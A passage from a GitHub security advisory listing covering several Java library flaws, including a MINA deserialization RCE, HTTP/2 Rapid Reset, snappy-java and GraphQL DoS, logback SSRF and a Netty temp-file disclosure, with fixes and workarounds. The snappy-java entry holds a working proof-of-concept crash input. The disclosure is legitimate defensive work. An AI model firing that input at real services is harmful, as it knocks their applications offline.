  "details": "The `ObjectSerializationDecoder` in Apache MINA uses Java\u2019s native deserialization protocol to process incoming serialized data but lacks the necessary security checks and defenses. This vulnerability allows attackers to exploit the deserialization process by sending specially crafted malicious serialized data, potentially leading to remote code execution (RCE) attacks.\n\t\nThis issue affects MINA core versions 2.0.X, 2.1.X and 2.2.X, and will be fixed by the releases 2.0.27, 2.1.10 and 2.2.4.\n\nIt\u0027s also important to note that an application using MINA core library will only be affected if the IoBuffer#getObject() method is called, and this specific method is potentially called when adding a ProtocolCodecFilter instance using the `ObjectSerializationCodecFactory` class in the filter chain. If your application is specifically using those classes, you have to upgrade to the latest version of MINA core library.\n\nUpgrading will\u00a0 not be enough: you also need to explicitly allow the classes the decoder will accept in the ObjectSerializationDecoder instance, using one of the three new methods:\n\n1. \n\u00a0 \u00a0\u00a0 * Accept class names where the supplied ClassNameMatcher matches for deserialization, unless they are otherwise rejected.\n     * `@param classNameMatcher` the matcher to use\n     * / `public void accept(ClassNameMatcher classNameMatcher)`\n\n2. \n     * Accept class names that match the supplied pattern for deserialization, unless they are otherwise rejected.\n     * `@param` pattern standard Java regexp\n     * / `public void accept(Pattern pattern)`\n\n3.\n     * Accept the wildcard specified classes for deserialization, unless they are otherwise rejected.\n     * `@param` patterns Wildcard file name patterns as defined by `{@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}`\n     * / `public void accept(String... patterns)`\n\nBy default, the decoder will reject *all* classes that will be present in the incoming data.\n\nNote: The FtpServer, SSHd and Vysper sub-project are not affected by this issue.",
  "id": "GHSA-76h9-2vwh-w278",
  "modified": "2025-02-12T18:18:48Z",
  "published": "2024-12-25T12:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52046"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/mina"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/4wxktgjpggdbto15d515wdctohb0qmv8"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250103-0001"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/12/25/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache MINA Deserialization RCE Vulnerability"
}

GHSA-XPW8-RCWV-8F8P

Vulnerability from github – Published: 2023-10-10 22:22 – Updated: 2023-11-06 22:08

Summary

io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack

Details

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

https://www.cve.org/CVERecord?id=CVE-2023-44487
https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.100.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-10T22:22:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/",
  "id": "GHSA-xpw8-rcwv-8f8p",
  "modified": "2023-11-06T22:08:35Z",
  "published": "2023-10-10T22:22:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack"
}

GHSA-55G7-9CWV-5QFV

Vulnerability from github – Published: 2023-09-25 18:30 – Updated: 2023-09-25 21:43

Summary

snappy-java's missing upper bound check on chunk length can lead to Denial of Service (DoS) impact

Details

Summary

snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur.

Scope

All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4

Details

While performing mitigation efforts related to CVE-2023-34455 in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in this commit. The check on line 421 only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually attempting to allocate the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.

PoC

Compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        try {
            in.read(out);
        }
        catch (Exception ignored) {
        }
    }
}

Impact

Denial of Service of applications dependent on snappy-java especially if ExitOnOutOfMemoryError or CrashOnOutOfMemoryError is configured on the JVM.

Credits

Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team.

We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.10.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.xerial.snappy:snappy-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-43642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-25T18:30:18Z",
    "nvd_published_at": "2023-09-25T20:15:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nsnappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. \n\n### Scope\n\nAll versions of snappy-java including the latest released version 1.1.10.3.  A fix is applied in 1.1.10.4\n\n### Details\nWhile performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the \u201cchunkSize\u201d variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an  java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.\n\n### PoC\nCompile and run the following code:\n```\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        byte[] data = {-126, \u0027S\u0027, \u0027N\u0027, \u0027A\u0027, \u0027P\u0027, \u0027P\u0027, \u0027Y\u0027, 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n        byte[] out = new byte[50];\n        try {\n            in.read(out);\n        }\n        catch (Exception ignored) {\n        }\n    }\n}\n```\n\n### Impact\nDenial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM.\n\n### Credits\nJan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent\u0027s Application Security team. \n\nWe kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.",
  "id": "GHSA-55g7-9cwv-5qfv",
  "modified": "2023-09-25T21:43:08Z",
  "published": "2023-09-25T18:30:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-55g7-9cwv-5qfv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43642"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/commit/9f8c3cf74223ed0a8a834134be9c917b9f10ceb5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xerial/snappy-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/releases/tag/v1.1.10.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "snappy-java\u0027s missing upper bound check on chunk length can lead to Denial of Service (DoS) impact"
}

GHSA-H9MQ-F6Q5-6C8M

Vulnerability from github – Published: 2024-07-30 09:31 – Updated: 2024-07-30 15:08

Summary

GraphQL Java does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service

Details

GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.graphql-java:graphql-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "19.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.graphql-java:graphql-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0"
            },
            {
              "fixed": "20.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.graphql-java:graphql-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "21.0"
            },
            {
              "fixed": "21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-40094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-30T15:08:48Z",
    "nvd_published_at": "2024-07-30T07:15:01Z",
    "severity": "HIGH"
  },
  "details": "GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.",
  "id": "GHSA-h9mq-f6q5-6c8m",
  "modified": "2024-07-30T15:08:48Z",
  "published": "2024-07-30T09:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40094"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/pull/3539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/commit/16c159111507ef04d7e1839b2c23281d90c42b2b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/commit/469caf6ee600ab6709ad5e8a06f371fe2ef3b8dd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/commit/97743bc1b5caa2b0bd894dc8e128b47e4d771e4a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/commit/fc6f304e66cab18b6d06a80c7009524938939a03"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/discussions/3641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/releases/tag/v19.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/releases/tag/v20.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql-java/graphql-java/releases/tag/v21.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GraphQL Java does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service"
}

GHSA-6V67-2WR5-GVF4

Vulnerability from github – Published: 2024-12-19 18:31 – Updated: 2025-01-03 19:06

Summary

QOS.CH logback-core Server-Side Request Forgery vulnerability

Details

Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.

The attacks involves the modification of DOCTYPE declaration in XML configuration files.

Severity ?

2.4 (Low)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-19T22:22:44Z",
    "nvd_published_at": "2024-12-19T17:15:08Z",
    "severity": "LOW"
  },
  "details": "Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.\n \nThe attacks involves the modification of DOCTYPE declaration in\u00a0 XML configuration files.",
  "id": "GHSA-6v67-2wr5-gvf4",
  "modified": "2025-01-03T19:06:48Z",
  "published": "2024-12-19T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/5f05041cba4c4ac0a62748c5c527a2da48999f2d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.15"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QOS.CH logback-core Server-Side Request Forgery vulnerability"
}

GHSA-J288-Q9X7-2F5V

Vulnerability from github – Published: 2025-07-11 15:31 – Updated: 2025-11-05 20:30

Summary

Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs

Details

Uncontrolled Recursion vulnerability in Apache Commons Lang.

This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.

The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.

Users are recommended to upgrade to version 3.18.0, which fixes the issue.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.commons:commons-lang3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "commons-lang:commons-lang"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "last_affected": "2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-12T00:48:03Z",
    "nvd_published_at": "2025-07-11T15:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with\u00a0commons-lang:commons-lang\u00a02.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before\u00a03.18.0.\n\nThe methods ClassUtils.getClass(...) can throw\u00a0StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could\u00a0cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
  "id": "GHSA-j288-q9x7-2f5v",
  "modified": "2025-11-05T20:30:31Z",
  "published": "2025-07-11T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/commons-lang"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/11/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs"
}

GHSA-Q4RV-GQ96-W7C5

Vulnerability from github – Published: 2025-05-08 19:28 – Updated: 2025-05-08 19:28

Summary

**UNSUPPORTED WHEN ASSIGNED** GzipHandler causes part of request body to be seen as request body of a separate request

Details

In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests.

Severity ?

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.4.56"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.4.0"
            },
            {
              "fixed": "9.4.57.v20241219"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-13009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-404"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-08T19:28:34Z",
    "nvd_published_at": "2025-05-08T18:15:41Z",
    "severity": "HIGH"
  },
  "details": "In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests.",
  "id": "GHSA-q4rv-gq96-w7c5",
  "modified": "2025-05-08T19:28:34Z",
  "published": "2025-05-08T19:28:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-q4rv-gq96-w7c5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13009"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/48"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "**UNSUPPORTED WHEN ASSIGNED** GzipHandler causes part of request body to be seen as request body of a separate request"
}

GHSA-269Q-HMXG-M83Q

Vulnerability from github – Published: 2022-05-10 08:46 – Updated: 2022-05-10 08:46

Summary

Local Information Disclosure Vulnerability in io.netty:netty-codec-http

Details

Description

GHSA-5mcr-gq6c-3hq2 (CVE-2021-21290) contains an insufficient fix for the vulnerability identified.

Impact

When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.

This only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.

Vulnerability Details

To fix the vulnerability the code was changed to the following:

    @SuppressJava6Requirement(reason = "Guarded by version check")
    public static File createTempFile(String prefix, String suffix, File directory) throws IOException {
        if (javaVersion() >= 7) {
            if (directory == null) {
                return Files.createTempFile(prefix, suffix).toFile();
            }
            return Files.createTempFile(directory.toPath(), prefix, suffix).toFile();
        }
        if (directory == null) {
            return File.createTempFile(prefix, suffix);
        }
        File file = File.createTempFile(prefix, suffix, directory);
        // Try to adjust the perms, if this fails there is not much else we can do...
        file.setReadable(false, false);
        file.setReadable(true, true);
        return file;
    }

Unfortunately, this logic path was left vulnerable:

        if (directory == null) {
            return File.createTempFile(prefix, suffix);
        }

This file is still readable by all local users.

Patches

Update to 4.1.77.Final

Workarounds

Specify your own java.io.tmpdir when you start the JVM or use DefaultHttpDataFactory.setBaseDir(...) to set the directory to something that is only readable by the current user or update to Java 7 or above.

References

For more information

If you have any questions or comments about this advisory:

Open an issue in netty

Severity ?

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.76.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.77.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-378",
      "CWE-379",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-10T08:46:50Z",
    "nvd_published_at": "2022-05-06T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Description ###\n[GHSA-5mcr-gq6c-3hq2](https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2) (CVE-2021-21290) contains an insufficient fix for the vulnerability identified.\n\n### Impact ###\n\nWhen netty\u0027s multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.\n\nThis only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\n\n### Vulnerability Details ###\n\nTo fix the vulnerability the code was changed to the following:\n\n```java\n    @SuppressJava6Requirement(reason = \"Guarded by version check\")\n    public static File createTempFile(String prefix, String suffix, File directory) throws IOException {\n        if (javaVersion() \u003e= 7) {\n            if (directory == null) {\n                return Files.createTempFile(prefix, suffix).toFile();\n            }\n            return Files.createTempFile(directory.toPath(), prefix, suffix).toFile();\n        }\n        if (directory == null) {\n            return File.createTempFile(prefix, suffix);\n        }\n        File file = File.createTempFile(prefix, suffix, directory);\n        // Try to adjust the perms, if this fails there is not much else we can do...\n        file.setReadable(false, false);\n        file.setReadable(true, true);\n        return file;\n    }\n```\n\nUnfortunately, this logic path was left vulnerable:\n\n```java\n        if (directory == null) {\n            return File.createTempFile(prefix, suffix);\n        }\n```\n\nThis file is still readable by all local users.\n\n### Patches ###\n\nUpdate to 4.1.77.Final\n\n### Workarounds ###\n\nSpecify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user or update to Java 7 or above.\n\n### References ###\n\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n\n### For more information ###\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [netty](https://github.com/netty/netty)\n",
  "id": "GHSA-269q-hmxg-m83q",
  "modified": "2022-05-10T08:46:50Z",
  "published": "2022-05-10T08:46:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-269q-hmxg-m83q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/185f8b2756a36aaa4f973f1a2a025e7d981823f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220616-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local Information Disclosure Vulnerability in io.netty:netty-codec-http"
}

GHSA-3P8M-J85Q-PGMJ

Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51

Summary

Netty's decoders vulnerable to DoS via zip bomb style attack

Details

Summary

